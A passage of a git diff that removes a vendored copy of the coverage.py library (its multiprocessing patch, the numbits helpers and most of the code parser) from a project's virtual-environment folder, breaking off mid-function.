OriginalProcess._bootstrap # type: ignore[attr-defined] - -class ProcessWithCoverage(OriginalProcess): # pylint: disable=abstract-method - """A replacement for multiprocess.Process that starts coverage.""" - - def _bootstrap(self, *args, **kwargs): # type: ignore[no-untyped-def] - """Wrapper around _bootstrap to start coverage.""" - debug: DebugControl | None = None - try: - from coverage import Coverage # avoid circular import - cov = Coverage(data_suffix=True, auto_data=True) - cov._warn_preimported_source = False - cov.start() - _debug = cov._debug - assert _debug is not None - if _debug.should("multiproc"): - debug = _debug - if debug: - debug.write("Calling multiprocessing bootstrap") - except Exception: - print("Exception during multiprocessing bootstrap init:", file=sys.stderr) - traceback.print_exc(file=sys.stderr) - sys.stderr.flush() - raise - try: - return original_bootstrap(self, *args, **kwargs) - finally: - if debug: - debug.write("Finished multiprocessing bootstrap") - try: - cov.stop() - cov.save() - except Exception as exc: - if debug: - debug.write("Exception during multiprocessing bootstrap cleanup", exc=exc) - raise - if debug: - debug.write("Saved multiprocessing data") - -class Stowaway: - """An object to pickle, so when it is unpickled, it can apply the monkey-patch.""" - def __init__(self, rcfile: str) -> None: - self.rcfile = rcfile - - def __getstate__(self) -> dict[str, str]: - return {"rcfile": self.rcfile} - - def __setstate__(self, state: dict[str, str]) -> None: - patch_multiprocessing(state["rcfile"]) - - -def patch_multiprocessing(rcfile: str) -> None: - """Monkey-patch the multiprocessing module. - - This enables coverage measurement of processes started by multiprocessing. - This involves aggressive monkey-patching. - - `rcfile` is the path to the rcfile being used. - - """ - - if hasattr(multiprocessing, PATCHED_MARKER): - return - - OriginalProcess._bootstrap = ProcessWithCoverage._bootstrap # type: ignore[attr-defined] - - # Set the value in ProcessWithCoverage that will be pickled into the child - # process. - os.environ["COVERAGE_RCFILE"] = os.path.abspath(rcfile) - - # When spawning processes rather than forking them, we have no state in the - # new process. We sneak in there with a Stowaway: we stuff one of our own - # objects into the data that gets pickled and sent to the subprocess. When - # the Stowaway is unpickled, its __setstate__ method is called, which - # re-applies the monkey-patch. - # Windows only spawns, so this is needed to keep Windows working. - try: - from multiprocessing import spawn - original_get_preparation_data = spawn.get_preparation_data - except (ImportError, AttributeError): - pass - else: - def get_preparation_data_with_stowaway(name: str) -> dict[str, Any]: - """Get the original preparation data, and also insert our stowaway.""" - d = original_get_preparation_data(name) - d["stowaway"] = Stowaway(rcfile) - return d - - spawn.get_preparation_data = get_preparation_data_with_stowaway - - setattr(multiprocessing, PATCHED_MARKER, True) diff --git a/backend/venv/Lib/site-packages/coverage/numbits.py b/backend/venv/Lib/site-packages/coverage/numbits.py deleted file mode 100644 index 0975a098..00000000 --- a/backend/venv/Lib/site-packages/coverage/numbits.py +++ /dev/null @@ -1,147 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -""" -Functions to manipulate packed binary representations of number sets. - -To save space, coverage stores sets of line numbers in SQLite using a packed -binary representation called a numbits. A numbits is a set of positive -integers. - -A numbits is stored as a blob in the database. The exact meaning of the bytes -in the blobs should be considered an implementation detail that might change in -the future. Use these functions to work with those binary blobs of data. - -""" - -from __future__ import annotations - -import json -import sqlite3 - -from itertools import zip_longest -from collections.abc import Iterable - - -def nums_to_numbits(nums: Iterable[int]) -> bytes: - """Convert `nums` into a numbits. - - Arguments: - nums: a reusable iterable of integers, the line numbers to store. - - Returns: - A binary blob. - """ - try: - nbytes = max(nums) // 8 + 1 - except ValueError: - # nums was empty. - return b"" - b = bytearray(nbytes) - for num in nums: - b[num//8] |= 1 << num % 8 - return bytes(b) - - -def numbits_to_nums(numbits: bytes) -> list[int]: - """Convert a numbits into a list of numbers. - - Arguments: - numbits: a binary blob, the packed number set. - - Returns: - A list of ints. - - When registered as a SQLite function by :func:`register_sqlite_functions`, - this returns a string, a JSON-encoded list of ints. - - """ - nums = [] - for byte_i, byte in enumerate(numbits): - for bit_i in range(8): - if (byte & (1 << bit_i)): - nums.append(byte_i * 8 + bit_i) - return nums - - -def numbits_union(numbits1: bytes, numbits2: bytes) -> bytes: - """Compute the union of two numbits. - - Returns: - A new numbits, the union of `numbits1` and `numbits2`. - """ - byte_pairs = zip_longest(numbits1, numbits2, fillvalue=0) - return bytes(b1 | b2 for b1, b2 in byte_pairs) - - -def numbits_intersection(numbits1: bytes, numbits2: bytes) -> bytes: - """Compute the intersection of two numbits. - - Returns: - A new numbits, the intersection `numbits1` and `numbits2`. - """ - byte_pairs = zip_longest(numbits1, numbits2, fillvalue=0) - intersection_bytes = bytes(b1 & b2 for b1, b2 in byte_pairs) - return intersection_bytes.rstrip(b"\0") - - -def numbits_any_intersection(numbits1: bytes, numbits2: bytes) -> bool: - """Is there any number that appears in both numbits? - - Determine whether two number sets have a non-empty intersection. This is - faster than computing the intersection. - - Returns: - A bool, True if there is any number in both `numbits1` and `numbits2`. - """ - byte_pairs = zip_longest(numbits1, numbits2, fillvalue=0) - return any(b1 & b2 for b1, b2 in byte_pairs) - - -def num_in_numbits(num: int, numbits: bytes) -> bool: - """Does the integer `num` appear in `numbits`? - - Returns: - A bool, True if `num` is a member of `numbits`. - """ - nbyte, nbit = divmod(num, 8) - if nbyte >= len(numbits): - return False - return bool(numbits[nbyte] & (1 << nbit)) - - -def register_sqlite_functions(connection: sqlite3.Connection) -> None: - """ - Define numbits functions in a SQLite connection. - - This defines these functions for use in SQLite statements: - - * :func:`numbits_union` - * :func:`numbits_intersection` - * :func:`numbits_any_intersection` - * :func:`num_in_numbits` - * :func:`numbits_to_nums` - - `connection` is a :class:`sqlite3.Connection ` - object. After creating the connection, pass it to this function to - register the numbits functions. Then you can use numbits functions in your - queries:: - - import sqlite3 - from coverage.numbits import register_sqlite_functions - - conn = sqlite3.connect("example.db") - register_sqlite_functions(conn) - c = conn.cursor() - # Kind of a nonsense query: - # Find all the files and contexts that executed line 47 in any file: - c.execute( - "select file_id, context_id from line_bits where num_in_numbits(?, numbits)", - (47,) - ) - """ - connection.create_function("numbits_union", 2, numbits_union) - connection.create_function("numbits_intersection", 2, numbits_intersection) - connection.create_function("numbits_any_intersection", 2, numbits_any_intersection) - connection.create_function("num_in_numbits", 2, num_in_numbits) - connection.create_function("numbits_to_nums", 1, lambda b: json.dumps(numbits_to_nums(b))) diff --git a/backend/venv/Lib/site-packages/coverage/parser.py b/backend/venv/Lib/site-packages/coverage/parser.py deleted file mode 100644 index 111a7e7a..00000000 --- a/backend/venv/Lib/site-packages/coverage/parser.py +++ /dev/null @@ -1,1334 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Code parsing for coverage.py.""" - -from __future__ import annotations - -import ast -import functools -import collections -import os -import re -import sys -import token -import tokenize - -from collections.abc import Iterable, Sequence -from dataclasses import dataclass -from types import CodeType -from typing import cast, Callable, Optional, Protocol - -from coverage import env -from coverage.bytecode import code_objects -from coverage.debug import short_stack -from coverage.exceptions import NoSource, NotPython -from coverage.misc import isolate_module, nice_pair -from coverage.phystokens import generate_tokens -from coverage.types import TArc, TLineNo - -os = isolate_module(os) - - -class PythonParser: - """Parse code to find executable lines, excluded lines, etc. - - This information is all based on static analysis: no code execution is - involved. - - """ - def __init__( - self, - text: str | None = None, - filename: str | None = None, - exclude: str | None = None, - ) -> None: - """ - Source can be provided as `text`, the text itself, or `filename`, from - which the text will be read. Excluded lines are those that match - `exclude`, a regex string. - - """ - assert text or filename, "PythonParser needs either text or filename" - self.filename = filename or "" - if text is not None: - self.text: str = text - else: - from coverage.python import get_python_source - try: - self.text = get_python_source(self.filename) - except OSError as err: - raise NoSource(f"No source for code: '{self.filename}': {err}") from err - - self.exclude = exclude - - # The parsed AST of the text. - self._ast_root: ast.AST | None = None - - # The normalized line numbers of the statements in the code. Exclusions - # are taken into account, and statements are adjusted to their first - # lines. - self.statements: set[TLineNo] = set() - - # The normalized line numbers of the excluded lines in the code, - # adjusted to their first lines. - self.excluded: set[TLineNo] = set() - - # The raw_* attributes are only used in this class, and in - # lab/parser.py to show how this class is working. - - # The line numbers that start statements, as reported by the line - # number table in the bytecode. - self.raw_statements: set[TLineNo] = set() - - # The raw line numbers of excluded lines of code, as marked by pragmas. - self.raw_excluded: set[TLineNo] = set() - - # The line numbers of docstring lines. - self.raw_docstrings: set[TLineNo] = set() - - # Internal detail, used by lab/parser.py. - self.show_tokens = False - - # A dict mapping line numbers to lexical statement starts for - # multi-line statements. - self._multiline: dict[TLineNo, TLineNo] = {} - - # Lazily-created arc data, and missing arc descriptions. - self._all_arcs: set[TArc] | None = None - self._missing_arc_fragments: TArcFragments | None = None - self._with_jump_fixers: dict[TArc, tuple[TArc, TArc]] = {} - - def lines_matching(self, regex: str) -> set[TLineNo]: - """Find the lines matching a regex. - - Returns a set of line numbers, the lines that contain a match for - `regex`. The entire line needn't match, just a part of it. - Handles multiline regex patterns. - - """ - matches: set[TLineNo] = set() - - last_start = 0 - last_start_line = 0 - for match in re.finditer(regex, self.text, flags=re.MULTILINE): - start, end = match.span() - start_line = last_start_line + self.text.count('\n', last_start, start) - end_line = last_start_line + self.text.count('\n', last_start, end) - matches.update(self._multiline.get(i, i) for i in range(start_line + 1, end_line + 2)) - last_start = start - last_start_line = start_line - return matches - - def _raw_parse(self) -> None: - """Parse the source to find the interesting facts about its lines. - - A handful of attributes are updated. - - """ - # Find lines which match an exclusion pattern. - if self.exclude: - self.raw_excluded = self.lines_matching(self.exclude) - self.excluded = set(self.raw_excluded) - - # The current number of indents. - indent: int = 0 - # An exclusion comment will exclude an entire clause at this indent. - exclude_indent: int = 0 - # Are we currently excluding lines? - excluding: bool = False - # The line number of the first line in a multi-line statement. - first_line: int = 0 - # Is the file empty? - empty: bool = True - # Parenthesis (and bracket) nesting level. - nesting: int = 0 - - assert self.text is not None - tokgen = generate_tokens(self.text) - for toktype, ttext, (slineno, _), (elineno, _), ltext in tokgen: - if self.show_tokens: # pragma: debugging - print("%10s %5s %-20r %r" % ( - tokenize.tok_name.get(toktype, toktype), - nice_pair((slineno, elineno)), ttext, ltext, - )) - if toktype == token.INDENT: - indent += 1 - elif toktype == token.DEDENT: - indent -= 1 - elif toktype == token.OP: - if ttext == ":" and nesting == 0: - should_exclude = ( - self.excluded.intersection(range(first_line, elineno + 1)) - ) - if not excluding and should_exclude: - # Start excluding a suite. We trigger off of the colon - # token so that the #pragma comment will be recognized on - # the same line as the colon. - self.excluded.add(elineno) - exclude_indent = indent - excluding = True - elif ttext in "([{": - nesting += 1 - elif ttext in ")]}": - nesting -= 1 - elif toktype == token.NEWLINE: - if first_line and elineno != first_line: - # We're at the end of a line, and we've ended on a - # different line than the first line of the statement, - # so record a multi-line range. - for l in range(first_line, elineno+1): - self._multiline[l] = first_line - first_line = 0 - - if ttext.strip() and toktype != tokenize.COMMENT: - # A non-white-space token. - empty = False - if not first_line: - # The token is not white space, and is the first in a statement. - first_line = slineno - # Check whether to end an excluded suite. - if excluding and indent <= exclude_indent: - excluding = False - if excluding: - self.excluded.add(elineno) - - # Find the starts of the executable statements. - if not empty: - byte_parser = ByteParser(self.text, filename=self.filename) - self.raw_statements.update(byte_parser._find_statements()) - - # The first line of modules can lie and say 1 always, even if the first - # line of code is later. If so, map 1 to the actual first line of the - # module. - if env.PYBEHAVIOR.module_firstline_1 and self._multiline and self.raw_statements: - self._multiline[1] = min(self.raw_statements) - - self.excluded = self.first_lines(self.excluded) - - # AST lets us find classes, docstrings, and decorator-affected - # functions and classes. - assert self._ast_root is not None - for node in ast.walk(self._ast_root): - # Find docstrings. - if isinstance(node, (ast.ClassDef, ast.FunctionDef, ast.AsyncFunctionDef, ast.Module)): - if node.body: - first = node.body[0] - if ( - isinstance(first, ast.Expr) - and isinstance(first.value, ast.Constant) - and isinstance(first.value.value, str) - ): - self.raw_docstrings.update( - range(first.lineno, cast(int, first.end_lineno) + 1) - ) - # Exclusions carry from decorators and signatures to the bodies of - # functions and classes. - if isinstance(node, (ast.ClassDef, ast.FunctionDef, ast.AsyncFunctionDef)): - first_line = min((d.lineno for d in node.decorator_list), default=node.lineno) - if self.excluded.intersection(range(first_line, node.lineno + 1)): - self.excluded.update(range(first_line, cast(int, node.end_lineno) + 1)) - - @functools.lru_cache(maxsize=1000) - def first_line(self, lineno: TLineNo) -> TLineNo: - """Return the first line number of the statement including `lineno`.""" - if lineno < 0: - lineno = -self._multiline.get(-lineno, -lineno) - else: - lineno = self._multiline.get(lineno, lineno) - return lineno - - def first_lines(self, linenos: Iterable[TLineNo]) -> set[TLineNo]: - """Map the line numbers in `linenos` to the correct first line of the - statement. - - Returns a set of the first lines. - - """ - return {self.first_line(l) for l in linenos} - - def translate_lines(self, lines: Iterable[TLineNo]) -> set[TLineNo]: - """Implement `FileReporter.translate_lines`.""" - return self.first_lines(lines) - - def translate_arcs(self, arcs: Iterable[TArc]) -> set[TArc]: - """Implement `FileReporter.translate_arcs`.""" - return {(self.first_line(a), self.first_line(b)) for (a, b) in self.fix_with_jumps(arcs)} - - def parse_source(self) -> None: - """Parse source text to find executable lines, excluded lines, etc. - - Sets the .excluded and .statements attributes, normalized to the first - line of multi-line statements. - - """ - try: - self._ast_root = ast.parse(self.text) - self._raw_parse() - except (tokenize.TokenError, IndentationError, SyntaxError) as err: - if hasattr(err, "lineno"): - lineno = err.lineno # IndentationError - else: - lineno = err.args[1][0] # TokenError - raise NotPython( - f"Couldn't parse '{self.filename}' as Python source: " + - f"{err.args[0]!r} at line {lineno}", - ) from err - - ignore = self.excluded | self.raw_docstrings - starts = self.raw_statements - ignore - self.statements = self.first_lines(starts) - ignore - - def arcs(self) -> set[TArc]: - """Get information about the arcs available in the code. - - Returns a set of line number pairs. Line numbers have been normalized - to the first line of multi-line statements. - - """ - if self._all_arcs is None: - self._analyze_ast() - assert self._all_arcs is not None - return self._all_arcs - - def _analyze_ast(self) -> None: - """Run the AstArcAnalyzer and save its results. - - `_all_arcs` is the set of arcs in the code. - - """ - assert self._ast_root is not None - aaa = AstArcAnalyzer(self.filename, self._ast_root, self.raw_statements, self._multiline) - aaa.analyze() - arcs = aaa.arcs - if env.PYBEHAVIOR.exit_through_with: - self._with_jump_fixers = aaa.with_jump_fixers() - if self._with_jump_fixers: - arcs = self.fix_with_jumps(arcs) - - self._all_arcs = set() - for l1, l2 in arcs: - fl1 = self.first_line(l1) - fl2 = self.first_line(l2) - if fl1 != fl2: - self._all_arcs.add((fl1, fl2)) - - self._missing_arc_fragments = aaa.missing_arc_fragments - - def fix_with_jumps(self, arcs: Iterable[TArc]) -> set[TArc]: - """Adjust arcs to fix jumps leaving `with` statements. - - Consider this code: - - with open("/tmp/test", "w") as f1: - a = 2 - b = 3 - print(4) - - In 3.10+, we get traces for lines 1, 2, 3, 1, 4. But we want to present - it to the user as if it had been 1, 2, 3, 4. The arc 3->1 should be - replaced with 3->4, and 1->4 should be removed. - - For this code, the fixers dict is {(3, 1): ((1, 4), (3, 4))}. The key - is the actual measured arc from the end of the with block back to the - start of the with-statement. The values are start_next (the with - statement to the next statement after the with), and end_next (the end - of the with-statement to the next statement after the with). - - With nested with-statements, we have to trace through a few levels to - correct a longer chain of arcs. - - """ - to_remove = set() - to_add = set() - for arc in arcs: - if arc in self._with_jump_fixers: - end0 = arc[0] - to_remove.add(arc) - start_next, end_next = self._with_jump_fixers[arc] - while start_next in self._with_jump_fixers: - to_remove.add(start_next) - start_next, end_next = self._with_jump_fixers[start_next] - to_remove.add(end_next) - to_add.add((end0, end_next[1])) - to_remove.add(start_next) - arcs = (set(arcs) | to_add) - to_remove - return arcs - - @functools.lru_cache - def exit_counts(self) -> dict[TLineNo, int]: - """Get a count of exits from that each line. - - Excluded lines are excluded. - - """ - exit_counts: dict[TLineNo, int] = collections.defaultdict(int) - for l1, l2 in self.arcs(): - assert l1 > 0, f"{l1=} should be greater than zero in {self.filename}" - if l1 in self.excluded: - # Don't report excluded lines as line numbers. - continue - if l2 in self.excluded: - # Arcs to excluded lines shouldn't count. - continue - exit_counts[l1] += 1 - - return exit_counts - - def _finish_action_msg(self, action_msg: str | None, end: TLineNo) -> str: - """Apply some defaulting and formatting to an arc's description.""" - if action_msg is None: - if end < 0: - action_msg = "jump to the function exit" - else: - action_msg = "jump to line {lineno}" - action_msg = action_msg.format(lineno=end) - return action_msg - - def missing_arc_description(self, start: TLineNo, end: TLineNo) -> str: - """Provide an English sentence describing a missing arc.""" - if self._missing_arc_fragments is None: - self._analyze_ast() - assert self._missing_arc_fragments is not None - - fragment_pairs = self._missing_arc_fragments.get((start, end), [(None, None)]) - - msgs = [] - for missing_cause_msg, action_msg in fragment_pairs: - action_msg = self._finish_action_msg(action_msg, end) - msg = f"line {start} didn't {action_msg}" - if missing_cause_msg is not None: - msg += f" because {missing_cause_msg.format(lineno=start)}" - - msgs.append(msg) - - return " or ".join(msgs) - - def arc_description(self, start: TLineNo, end: TLineNo) -> str: - """Provide an English description of an arc's effect.""" - if self._missing_arc_fragments is None: - self._analyze_ast() - assert self._missing_arc_fragments is not None - - fragment_pairs = self._missing_arc_fragments.get((start, end), [(None, None)]) - action_msg = self._finish_action_msg(fragment_pairs[0][1], end) - return action_msg - - -class ByteParser: - """Parse bytecode to understand the structure of code.""" - - def __init__( - self, - text: str, - code: CodeType | None = None, - filename: str | None = None, - ) -> None: - self.text = text - if code is not None: - self.code = code - else: - assert filename is not None - # We only get here if earlier ast parsing succeeded, so no need to - # catch errors. - self.code = compile(text, filename, "exec", dont_inherit=True) - - def child_parsers(self) -> Iterable[ByteParser]: - """Iterate over all the code objects nested within this one. - - The iteration includes `self` as its first value. - - We skip code objects named `__annotate__` since they are deferred - annotations that usually are never run. If there are errors in the - annotations, they will be caught by type checkers or other tools that - use annotations. - - """ - return ( - ByteParser(self.text, code=c) - for c in code_objects(self.code) - if c.co_name != "__annotate__" - ) - - def _line_numbers(self) -> Iterable[TLineNo]: - """Yield the line numbers possible in this code object. - - Uses co_lnotab described in Python/compile.c to find the - line numbers. Produces a sequence: l0, l1, ... - """ - if hasattr(self.code, "co_lines"): - # PYVERSIONS: new in 3.10 - for _, _, line in self.code.co_lines(): - if line: - yield line - else: - # Adapted from dis.py in the standard library. - byte_increments = self.code.co_lnotab[0::2] - line_increments = self.code.co_lnotab[1::2] - - last_line_num: TLineNo | None = None - line_num = self.code.co_firstlineno - byte_num = 0 - for byte_incr, line_incr in zip(byte_increments, line_increments): - if byte_incr: - if line_num != last_line_num: - yield line_num - last_line_num = line_num - byte_num += byte_incr - if line_incr >= 0x80: - line_incr -= 0x100 - line_num += line_incr - if line_num != last_line_num: - yield line_num - - def _find_statements(self) -> Iterable[TLineNo]: - """Find the statements in `self.code`. - - Produce a sequence of line numbers that start statements. Recurses - into all code objects reachable from `self.code`. - - """ - for bp in self.child_parsers(): - # Get all of the lineno information from this code. - yield from bp._line_numbers() - - -# -# AST analysis -# - -@dataclass(frozen=True, order=True) -class ArcStart: - """The information needed to start an arc. - - `lineno` is the line number the arc starts from. - - `cause` is an English text fragment used as the `missing_cause_msg` for - AstArcAnalyzer.missing_arc_fragments. It will be used to describe why an - arc wasn't executed, so should fit well into a sentence of the form, - "Line 17 didn't run because {cause}." The fragment can include "{lineno}" - to have `lineno` interpolated into it. - - As an example, this code:: - - if something(x): # line 1 - func(x) # line 2 - more_stuff() # line 3 - - would have two ArcStarts: - - - ArcStart(1, "the condition on line 1 was always true") - - ArcStart(1, "the condition on line 1 was never true") - - The first would be used to create an arc from 1 to 3, creating a message like - "line 1 didn't jump to line 3 because the condition on line 1 was always true." - - The second would be used for the arc from 1 to 2, creating a message like - "line 1 didn't jump to line 2 because the condition on line 1 was never true." - - """ - lineno: TLineNo - cause: str = "" - - -class TAddArcFn(Protocol): - """The type for AstArcAnalyzer.add_arc().""" - def __call__( - self, - start: TLineNo, - end: TLineNo, - missing_cause_msg: str | None = None, - action_msg: str | None = None, - ) -> None: - """ - Record an arc from `start` to `end`. - - `missing_cause_msg` is a description of the reason the arc wasn't - taken if it wasn't taken. For example, "the condition on line 10 was - never true." - - `action_msg` is a description of what the arc does, like "jump to line - 10" or "exit from function 'fooey'." - - """ - - -TArcFragments = dict[TArc, list[tuple[Optional[str], Optional[str]]]] - -class Block: - """ - Blocks need to handle various exiting statements in their own ways. - - All of these methods take a list of exits, and a callable `add_arc` - function that they can use to add arcs if needed. They return True if the - exits are handled, or False if the search should continue up the block - stack. - """ - # pylint: disable=unused-argument - def process_break_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - """Process break exits.""" - return False - - def process_continue_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - """Process continue exits.""" - return False - - def process_raise_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - """Process raise exits.""" - return False - - def process_return_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - """Process return exits.""" - return False - - -class LoopBlock(Block): - """A block on the block stack representing a `for` or `while` loop.""" - def __init__(self, start: TLineNo) -> None: - # The line number where the loop starts. - self.start = start - # A set of ArcStarts, the arcs from break statements exiting this loop. - self.break_exits: set[ArcStart] = set() - - def process_break_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - self.break_exits.update(exits) - return True - - def process_continue_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - for xit in exits: - add_arc(xit.lineno, self.start, xit.cause) - return True - - -class FunctionBlock(Block): - """A block on the block stack representing a function definition.""" - def __init__(self, start: TLineNo, name: str) -> None: - # The line number where the function starts. - self.start = start - # The name of the function. - self.name = name - - def process_raise_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - for xit in exits: - add_arc( - xit.lineno, -self.start, xit.cause, - f"except from function {self.name!r}", - ) - return True - - def process_return_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - for xit in exits: - add_arc( - xit.lineno, -self.start, xit.cause, - f"return from function {self.name!r}", - ) - return True - - -class TryBlock(Block): - """A block on the block stack representing a `try` block.""" - def __init__(self, handler_start: TLineNo | None, final_start: TLineNo | None) -> None: - # The line number of the first "except" handler, if any. - self.handler_start = handler_start - # The line number of the "finally:" clause, if any. - self.final_start = final_start - - def process_raise_exits(self, exits: set[ArcStart], add_arc: TAddArcFn) -> bool: - if self.handler_start is not None: - for xit in exits: - add_arc(xit.lineno, self.handler_start, xit.cause) - return True - - -class NodeList(ast.AST): - """A synthetic fictitious node, containing a sequence of nodes. - - This is used when collapsing optimized if-statements, to represent the - unconditional execution of one of the clauses. - - """ - def __init__(self, body: Sequence[ast.AST]) -> None: - self.body = body - self.lineno = body[0].lineno # type: ignore[attr-defined] - -# TODO: Shouldn't the cause messages join with "and" instead of "or"? - - -def is_constant_test_expr(node: ast.AST) -> tuple[bool, bool]: - """Is this a compile-time constant test expression? - - We don't try to mimic all of CPython's optimizations. We just have to - handle the kinds of constant expressions people might actually use. - - """ - if isinstance(node, ast.Constant): - return True, bool(node.value) - elif isinstance(node, ast.Name): - if node.id in ["True", "False", "None", "__debug__"]: - return True, eval(node.id) # pylint: disable=eval-used - elif isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not): - is_constant, val = is_constant_test_expr(node.operand) - return is_constant, not val - elif isinstance(node, ast.BoolOp): - rets = [is_constant_test_expr(v) for v in node.values] - is_constant = all(is_const for is_const, _ in rets) - if is_constant: - op = any if isinstance(node.op, ast.Or) else all - return True, op(v for _, v in rets) - return False, False - - -class AstArcAnalyzer: - """Analyze source text with an AST to find executable code paths. - - The .analyze() method does the work, and populates these attributes: - - `arcs`: a set of (from, to) pairs of the the arcs possible in the code. - - `missing_arc_fragments`: a dict mapping (from, to) arcs to lists of - message fragments explaining why the arc is missing from execution:: - - { (start, end): [(missing_cause_msg, action_msg), ...], } - - For an arc starting from line 17, they should be usable to form complete - sentences like: "Line 17 didn't {action_msg} because {missing_cause_msg}". - - NOTE: Starting in July 2024, I've been whittling this down to only report - arc that are part of true branches. It's not clear how far this work will - go. - - """ - - def __init__( - self, - filename: str, - root_node: ast.AST, - statements: set[TLineNo], - multiline: dict[TLineNo, TLineNo], - ) -> None: - self.filename = filename - self.root_node = root_node - self.statements = {multiline.get(l, l) for l in statements} - self.multiline = multiline - - # Turn on AST dumps with an environment variable. - # $set_env.py: COVERAGE_AST_DUMP - Dump the AST nodes when parsing code. - dump_ast = bool(int(os.getenv("COVERAGE_AST_DUMP", "0"))) - - if dump_ast: # pragma: debugging - # Dump the AST so that failing tests have helpful output. - print(f"Statements: {self.statements}") - print(f"Multiline map: {self.multiline}") - print(ast.dump(self.root_node, include_attributes=True, indent=4)) - - self.arcs: set[TArc] = set() - self.missing_arc_fragments: TArcFragments = collections.defaultdict(list) - self.block_stack: list[Block] = [] - - # If `with` clauses jump to their start on the way out, we need - # information to be able to skip over that jump. We record the arcs - # from `with` into the clause (with_entries), and the arcs from the - # clause to the `with` (with_exits). - self.current_with_starts: set[TLineNo] = set() - self.all_with_starts: set[TLineNo] = set() - self.with_entries: set[TArc] = set() - self.with_exits: set[TArc] = set() - - # $set_env.py: COVERAGE_TRACK_ARCS - Trace possible arcs added while parsing code. - self.debug = bool(int(os.getenv("COVERAGE_TRACK_ARCS", "0"))) - - def analyze(self) -> None: - """Examine the AST tree from `self.root_node` to determine possible arcs.""" - for node in ast.walk(self.root_node): - node_name = node.__class__.__name__ - code_object_handler = getattr(self, f"_code_object__{node_name}", None) - if code_object_handler is not None: - code_object_handler(node) - - def with_jump_fixers(self) -> dict[TArc, tuple[TArc, TArc]]: - """Get a dict with data for fixing jumps out of with statements. - - Returns a dict. The keys are arcs leaving a with-statement by jumping - back to its start. The values are pairs: first, the arc from the start - to the next statement, then the arc that exits the with without going - to the start. - - """ - fixers = {} - with_nexts = { - arc - for arc in self.arcs - if arc[0] in self.all_with_starts and arc not in self.with_entries - } - for start in self.all_with_starts: - nexts = {arc[1] for arc in with_nexts if arc[0] == start} - if not nexts: - continue - assert len(nexts) == 1, f"Expected one arc, got {nexts} with {start = }" - nxt = nexts.pop() - ends = {arc[0] for arc in self.with_exits if arc[1] == start} - for end in ends: - fixers[(end, start)] = ((start, nxt), (end, nxt)) - return fixers - - # Code object dispatchers: _code_object__* - # - # These methods are used by analyze() as the start of the analysis. - # There is one for each construct with a code object. - - def _code_object__Module(self, node: ast.Module) -> None: - start = self.line_for_node(node) - if node.body: - exits = self.process_body(node.body) - for xit in exits: - self.add_arc(xit.lineno, -start, xit.cause, "exit the module") - else: - # Empty module. - self.add_arc(start, -start) - - def _code_object__FunctionDef(self, node: ast.FunctionDef) -> None: - start = self.line_for_node(node) - self.block_stack.append(FunctionBlock(start=start, name=node.name)) - exits = self.process_body(node.body) - self.process_return_exits(exits) - self.block_stack.pop() - - _code_object__AsyncFunctionDef = _code_object__FunctionDef - - def _code_object__ClassDef(self, node: ast.ClassDef) -> None: - start = self.line_for_node(node) - exits = self.process_body(node.body) - for xit in exits: - self.add_arc(xit.lineno, -start, xit.cause, f"exit class {node.name!r}") - - def add_arc( - self, - start: TLineNo, - end: TLineNo, - missing_cause_msg: str | None = None, - action_msg: str | None = None, - ) -> None: - """Add an arc, including message fragments to use if it is missing.""" - if self.debug: # pragma: debugging - print(f"Adding possible arc: ({start}, {end}): {missing_cause_msg!r}, {action_msg!r}") - print(short_stack(), end="\n\n") - self.arcs.add((start, end)) - if start in self.current_with_starts: - self.with_entries.add((start, end)) - - if missing_cause_msg is not None or action_msg is not None: - self.missing_arc_fragments[(start, end)].append((missing_cause_msg, action_msg)) - - def nearest_blocks(self) -> Iterable[Block]: - """Yield the blocks in nearest-to-farthest order.""" - return reversed(self.block_stack) - - def line_for_node(self, node: ast.AST) -> TLineNo: - """What is the right line number to use for this node? - - This dispatches to _line__Node functions where needed. - - """ - node_name = node.__class__.__name__ - handler = cast( - Optional[Callable[[ast.AST], TLineNo]], - getattr(self, f"_line__{node_name}", None), - ) - if handler is not None: - line = handler(node) - else: - line = node.lineno # type: ignore[attr-defined] - return self.multiline.get(line, line) - - # First lines: _line__* - # - # Dispatched by line_for_node, each method knows how to identify the first - # line number in the node, as Python will report it. - - def _line_decorated(self, node: ast.FunctionDef) -> TLineNo: - """Compute first line number for things that can be decorated (classes and functions).""" - if node.decorator_list: - lineno = node.decorator_list[0].lineno - else: - lineno = node.lineno - return lineno - - def _line__Assign(self, node: ast.Assign) -> TLineNo: - return self.line_for_node(node.value) - - _line__ClassDef = _line_decorated - - def _line__Dict(self, node: ast.Dict) -> TLineNo: - if node.keys: - if node.keys[0] is not None: - return node.keys[0].lineno - else: - # Unpacked dict literals `{**{"a":1}}` have None as the key, - # use the value in that case. - return node.values[0].lineno - else: - return node.lineno - - _line__FunctionDef = _line_decorated - _line__AsyncFunctionDef = _line_decorated - - def _line__List(self, node: ast.List) -> TLineNo: - if node.elts: - return self.line_for_node(node.elts[0]) - else: - return node.lineno - - def _line__Module(self, node: ast.Module) -> TLineNo: - if env.PYBEHAVIOR.module_firstline_1: - return 1 - elif node.body: - return self.line_for_node(node.body[0]) - else: - # Empty modules have no line number, they always start at 1. - return 1 - - # The node types that just flow to the next node with no complications. - OK_TO_DEFAULT = { - "AnnAssign", "Assign", "Assert", "AugAssign", "Delete", "Expr", "Global", - "Import", "ImportFrom", "Nonlocal", "Pass", - } - - def node_exits(self, node: ast.AST) -> set[ArcStart]: - """Find the set of arc starts that exit this node. - - Return a set of ArcStarts, exits from this node to the next. Because a - node represents an entire sub-tree (including its children), the exits - from a node can be arbitrarily complex:: - - if something(1): - if other(2): - doit(3) - else: - doit(5) - - There are three exits from line 1: they start at lines 1, 3 and 5. - There are two exits from line 2: lines 3 and 5. - - """ - node_name = node.__class__.__name__ - handler = cast( - Optional[Callable[[ast.AST], 